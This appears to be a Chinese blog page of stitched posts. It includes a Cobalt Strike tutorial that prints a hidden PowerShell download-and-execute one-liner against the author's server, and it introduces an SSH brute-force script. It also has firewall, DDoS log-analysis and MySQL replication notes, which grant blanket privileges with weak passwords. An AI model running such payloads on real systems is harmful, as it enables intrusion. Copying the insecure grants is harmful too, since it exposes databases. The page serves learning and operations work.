2019年3月

Cobalt Strike安装使用并回弹一个shell
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。也是一个C/S结构的工具
首先登陆远程服务器,cs是一个团队协作的工具,而且可以隐藏后端攻击者ip,所以远程登录到服务器上,并安装java8
QQ20190331-140757@2x.png
在服务器上执行
./teamserver 10.14.4.16 123
ip是你服务器的公网/内网地址 123是连接密码
QQ20190331-140812@2x.png
在客户端上运行。
QQ20190331-140827@2x.png
用户名随意,密码123
连接后
QQ20190331-140835@2x.png
这就已经成功连接到服务器上了。
QQ20190331-140843@2x.png
接下来创建一个监听事件
QQ20190331-140851@2x.png
在这里创建一个监听事件,监听端口选择8088
QQ20190331-140858@2x.png
beacon的地址也选择外网地址反射回的,如果前端没有其他转发服务器的话。
QQ20190331-140904@2x.png

监听建立成功。
接下来生成shell
attacks》web drive-by》
QQ20190331-140918@2x.png

目标机器是win7,那么我使用powershell来远程下载。
QQ20190331-140939@2x.png
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.14.4.16:80/aaaa'))"

生成代码已经给出了
QQ20190331-140946@2x.png
在win下执行命令
QQ20190331-141000@2x.png
可以看到,已经上线了。
稍后可能会写怎么绕过火绒的提醒,执行shell

防火墙有三种连接方式:网桥————作用相当于一段网线

                  路由————NAT/路由器
                  混合————内口--vlan/外口—公网/DMZ—vlan

混合型:内口和DMZ划一个Vlan,以防火墙为网关。

注意:单电开机,有警报声有一个按键去掉响声。COM口连接 PORT9600
关机,重启机器,配置笔记本IP为192.168.1.X网段,255.255.255.0,用网线接设备的eth0口,通过IE浏览器输入https://192.168.1.100,登录防火墙开始进行配置。
QQ20190331-140144@2x.png

缺省登录地址:https://192.168.1.100
8光口/6个常口、root用户无法修改配置,需要admin或者其他用户。
一般强行全双工(100M/1000M)
外/内口ip配置:eth0假设管理口,(非com)
Eth1和eth2为内外网接口,初次登录需将接口“模式”从二层改为三层,并配置IP地址,然后启用WebAuth以方便日后用该IP进行设备的管理。
eth1为内网接口:192.168.0.1 24位掩码
eth2位外网接口:202.103.1.2 24位掩码
QQ20190331-140158@2x.png
配置安全域:
in 内安全域 eth1
out 外安全域 eth2
QQ20190331-140206@2x.png
路由:
0.0.0.0/0
出口 eth2
网关:电信提供202.103.1.1
跳数1
QQ20190331-140214@2x.png
地址转换:定义映射(NAT转换)
依次展开配置——地址转换——地址映射
地址映射:单————单
源地址转换:多————单(内转公)
目的地址转换:(公转内)
从内出外 eth1 (2) 从外入内 eth2(3)
访问策略:
策略 in——out
原192.168.0.1/254
目的 any 允许
out——in
内192.168.0.2 ip ——80
原 1-65535 启用
void不可重复

导出配置文件

点击“整机配置”,输入文件名,然后点击保存按钮

有个大佬晚上说他服务器被D了,大佬的服务器是我在负责运维,我记得我做过安全测试,前端cdn已经把后端的ip隐藏了。于是就在找原因。

QQ20190331-135248@2x.png
后来通过沟通知道,原来是新开的一个二级域名,直接指向了源服务器,bj.xxxxxx.xxx
通知大佬添加个cdn,域名做别名解析后,我就开始分析,这时候有人说nginx或者前端做一个代理,禁止ip直接访问,正好服务器是用的nginx。直接nginx.conf就可以禁止ip直接访问网站了。
QQ20190331-135305@2x.png
QQ20190331-135312@2x.png
主配置文件看到了vhost的配置文件
QQ20190331-135319@2x.png
找到配置文件后,!!!!先备份先备份先备份!!!!!!。
在按照正常的配置修改

server{
server_name _;
retrun 400;
}

发现主站也返回了400,无法访问。后来测试了一阵,(幸好是晚上。。。。。。线上服务器)
还是在主配置中修改server块。
QQ20190331-135326@2x.png
这里server_name直接填写的ip地址。
重启了下nginx -s reload,发现没有问题。功能实现了。
接下来是分析日志文件。
将日志文件down下来。最好不要再服务器弄,有时候日质量大对性能影响还是很大的。

开始我就怀疑是cc攻击。脱下来之后日志文件。

[bash]
root@knickers-ubuntu:/home/knickers/桌面# cat xxxxxx.log |awk '{print $1}'|sort|uniq -c|sort -nr|head -10
[/bash]

QQ20190331-135333@2x.png
上一条的命令是显示访问前10位的ip地址。用来查找攻击源。这里看到前三的ip访问量异常。

cat xxxxxx.log |awk '$4>="[02/Jan/2018:"' xxxxxxx.log|awk '{print $1}' |sort|uniq -c|sort -nr|head -10

QQ20190331-135343@2x.png
这条命令是分析2018/1/2日以后的攻击日志排行前十。可以看出,当天攻击的ip就是前三个了。
这里我通过iptables给这三台服务器ban掉。以后任何数据都drop。


iptables -I INPUT -s 61.160.245.190 -j DROP
iptables -I INPUT -s 61.174.50.66 -j DROP
iptables -I INPUT -s 180.97.172.9 -j DROP

至此,此次响应就到这,,,其实也不算响应,只不过是运维在服务器遭受攻击后一种分析路径。(日志分析还是比较重要的,不只是在排错过程中)
顺便再服务器用户目录下新建readme20180102.txt记录本次修改。(要有个好习惯)

QQ20190331-135351@2x.png
顺便追查了下61.160.245.xxx/61.174.50.xxx同属一个主机供应商,应该是服务器被攻击了。

# cat xxxx.log |awk '{print $1}'|sort|uniq -c > 1.txt

QQ20190331-135530@2x.png
可以看到同一B段的还是有些主机被用来做僵尸机了。
QQ20190331-135537@2x.png

情况是两台机器

master(10.14.2.155)
slave(10.14.2.236)
互相能ping通
QQ20190331-134708@2x.png
先关防火墙(仅限内网,外网不建议)

[root@localhost /]# chkconfig iptables off 
[root@localhost /]# service iptables stop
[root@localhost ~]# yum install mysql mysql-server  mysql-devel -y

两台机器安装mysql
安装完成,启动Mysql服务:

service mysqld start

一、创建同步资源:
修改mysql密码:

mysqladmin -u root password 'root'

创建同步用户 repl,密码123456

create user 'repl' identified by '123456';

用户建好后需要给其设置一些权限,比如写入查询建表登录等。
master命令:

grant all privileges on *.* to 'repl'@'*' with 
grant option;grant all privileges on *.* to 'repl'@'%' with grant option;
grant all privileges on *.* to 'repl'@'localhost' with grant option;
grant all privileges on *.* to 'repl'@'Master' with grant option;
flush privileges;

slave命令:

grant all privileges on *.* to 'repl'@'*' with grant option;
grant all privileges on *.* to 'repl'@'%' with grant option;
grant all privileges on *.* to 'repl'@'localhost' with grant option;
grant all privileges on *.* to 'repl'@'Slave' with grant option;
flush privileges;

QQ20190331-134723@2x.png

创建同步数据库:

create database repldb;
show databases;

QQ20190331-134730@2x.png
接下来测试创建用户登录Mysql

mysql -urepl -p123456

2、主从配置

修改master的mysql配置文件mycnf,在mysqld模块下添加如下选项(默认在/etc/my.cnf,找不到请find命令查找):

log-bin=mysql-bin #表示启用mysql二进制日志, 
#该项必须要启用,否则mysql主从不会生效。
max_binlog_size=500M #表示每个binlog文件最大大小,
#当此文件大小等于500M时,会自动生成一个新的日志文件。
#注意:一条记录不会写在2个日志文件中,所以有时日志文件会超过此大小。

server-id=1 #表示mysql服务器ID,该ID必须在该主从中是唯一的,
#默认是1,该ID可以自行自定义,但必须为数字。

binlog-do-db=repldb #表示需要同步的数据库名字,如果是多个数据库,就以此格式再写一行即可。
binlog-ignore-db=mysql #表示不需要同步的数据库名字,如果是多个数据库,就以此格式再写一行即可。
#如不加binlog-do-db和binlog-ignore-db,默认同步复制整个mysql数据库。

innodb_flush_log_at_trx_commit=1 #当MySQL的存储引擎是InnoDB时,表示每次事务提交时,刷出日志。
#虽然性能较慢,但是能够保证强一致性。
sync_binlog=1 #设置MySQL在每次事务提交后,执行一次磁盘同步指令,#将binlog_cache中的数据强制写入磁盘。

#最后面两个参数可以根据实际生产环境对数据一致性的刚醒需求程度来决定是否添加。 

为了让备份机器同步时能够通过repl身份登录主节点,需要在master一root登录mysql ,给slave的用户赋予replication slave权限:

mysql -uroot -p
grant replication slave,file on *.* to 'repl'@'10.14.2.236' identified by '123456';
flush privileges;
use mysql;
select user,repl_slave_priv from user where user='repl';

查看权限
QQ20190331-134744@2x.png
配置后重启mysql

service mysqld restart

接下来锁住Master的表,禁止写权限,并记录日志文件名和起始位置、

flush tables with read lock;
show master status;
show master status\G;

QQ20190331-134752@2x.png
接下来操作是Slave端
修改slave的my.cnf:

server-id=2
replicate-do-db=repldb
replicate-ignore-db=mysql

重启mysql:service mysqld restart

mysql -uroot -p
show slave status;
show slave status\G;

在Slave执行下面命令。创建Slave到Master的Replication:

slave  stop;
CHANGE MASTER TO MASTER_HOST='10.14.2.155',MASTER_USER='repl',MASTER_PASSWORD='123456',MASTER_PORT=3306,MASTER_CONNECT_RETRY=60,MASTER_LOG_FILE='mysql-bin.000003',MASTER_LOG_POS=106;
slave start;
show slave status\G;

QQ20190331-134801@2x.png
在执行 CHANGE MASTER TO 语句之前,一定要先执行 SLAVE STOP 指令。MASTER_HOST 表示需要进行同步的 MySQL 库所在的主机名,可以写 IP 地址,也可以填写 HOSTNAME。MASTER_LOG_FILE 和 MASTER_LOG_POS 一定要和在 Master 端执行show master status 命令的结果保持一致,否则无法同步。最后需要执行 SLAVE START 指令,开始主从同步。
3、接下来在master执行解锁:unlock tables;
三、测试主从复制:
1、在master登录并在其中创建表test,并插入数据,然后查看slave中数据是否存在。
master:

mysql -uroot -p
use repldb;
create table test(tc1 int, tc2 int);
insert into test values(1,2);
insert into test values(3,4);

QQ20190331-134812@2x.png
slave:

mysql -uroot -p
use repldb;
select * from test;

可以看到,数据已经同步过来了。
QQ20190331-134822@2x.png

利用python-pxssh实现ssh暴力破解,昨天的文章中完成了利用pexpect来执行登录ssh的操作,今天利用pxssh来进行暴力破解,pxssh是一个在pexpect库中的专用脚本,不需要单独安装,有的python版本可以直接import pxssh,有的则需要from pexpect import pxssh 来进行包含,这个根据各自版本进行修改。我的是后者的方式。
源码如下:(存在word中了。。。。代码就成两行,就截图了)

QQ20190331-133949@2x.png
QQ20190331-134100@2x.png
QQ20190331-134114@2x.png
QQ20190331-134124@2x.png